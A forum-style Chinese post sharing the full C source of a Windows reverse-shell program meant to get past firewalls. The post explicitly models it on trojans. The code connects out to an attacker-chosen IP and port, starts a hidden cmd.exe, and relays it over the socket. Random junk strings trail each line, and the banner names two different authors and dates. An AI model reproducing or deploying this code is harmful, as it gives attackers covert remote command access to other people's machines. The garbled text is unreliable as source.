这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R
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/* ============================== ]Wy V bIu
Rebound port in Windows NT *wSl~J|ZM%
By wind,2006/7 y'+^
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===============================*/ jf%Ydr}`
#include k5ZwGJ#r
#include =W4cWG?+
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#pragma comment(lib,"wsock32.lib") ,:v}gS?Uq
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void OutputShell(); t4JGd)r
SOCKET sClient; J,q:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $>BP}V33
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void main(int argc,char **argv) qM9GW`CKA
{ Nh+$'6yT%
WSADATA stWsaData; b;}MA7=
int nRet; t7~mW$}O
SOCKADDR_IN stSaiClient,stSaiServer; nY*ODL
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if(argc != 3) qQom=x
{ w?5b: W,
printf("Useage:\n\rRebound DestIP DestPort\n"); |Jq/kmn
return; >kB?C!\
} QUe.vb^O
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WSAStartup(MAKEWORD(2,2),&stWsaData); OE[/sv
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z os~1N]3
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stSaiClient.sin_family = AF_INET; \u)(+t{
stSaiClient.sin_port = htons(0); ("TI~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |FNP~5v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2+^#<Uok
{ C )PN
printf("Bind Socket Failed!\n"); u_[Zu8
return; kPxEGuL'
} 7v?Ygtv
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stSaiServer.sin_family = AF_INET; J[B8sa
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PCU6E9~t2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *".7O*jjV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BPPhVE
{ 7;_5[_
printf("Connect Error!"); I#,,h4C
return; <bid 6Q0|
} QK@z##U
OutputShell(); zMG4oRPP
} "90}H0(+
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void OutputShell() .O,gl$y}
{ hrW.TwK
char szBuff[1024]; &3^40s/+
SECURITY_ATTRIBUTES stSecurityAttributes; V}JW@
OSVERSIONINFO stOsversionInfo; T|}HK]QOX
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .6tz ^4
STARTUPINFO stStartupInfo; /!E /9[V
char *szShell; y.~5n[W
PROCESS_INFORMATION stProcessInformation; <8y8^m`P9
unsigned long lBytesRead; 6[CX[=P30
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [mwfgh&4%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "~Eo=R0O
stSecurityAttributes.lpSecurityDescriptor = 0; |[: `izW
stSecurityAttributes.bInheritHandle = TRUE; }8FP5Z'Cf%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G%>[I6G
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x7/2e{p
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Bq _<v)M*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F{}z[0
stStartupInfo.wShowWindow = SW_HIDE; sn*s7v:
stStartupInfo.hStdInput = hReadPipe; l9<+4rK2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `^6}Dn
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GetVersionEx(&stOsversionInfo); d82IEhZ#
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switch(stOsversionInfo.dwPlatformId) ~{N|("nB
{ l/1uP
case 1: v` B_xEl
szShell = "command.com"; +I/P5OGRN
break; aE;!mod
default: ^@)+P/&
szShell = "cmd.exe"; Y<|L|b6
break; xWlB!r<}Gz
} ]]]7"a
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UIyOn` d "
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send(sClient,szMsg,77,0); c#rbyx?5
while(1) `t8e2?GH
{ 6qw_ |A&g
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [Y:HVr,
if(lBytesRead) --]\z* x
{ ~#-`Qh
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "zv+|_ZAfd
send(sClient,szBuff,lBytesRead,0); $]hf2Yr(
} ElYHA
else fG.w;Aemv5
{ NyGF57v[M
lBytesRead=recv(sClient,szBuff,1024,0); bLUn0)c
if(lBytesRead<=0) break; hMD yE.X-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D_8hn3FH
} Jv7M[SJ#x
} 9np<r82
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return; gG$o8c-
}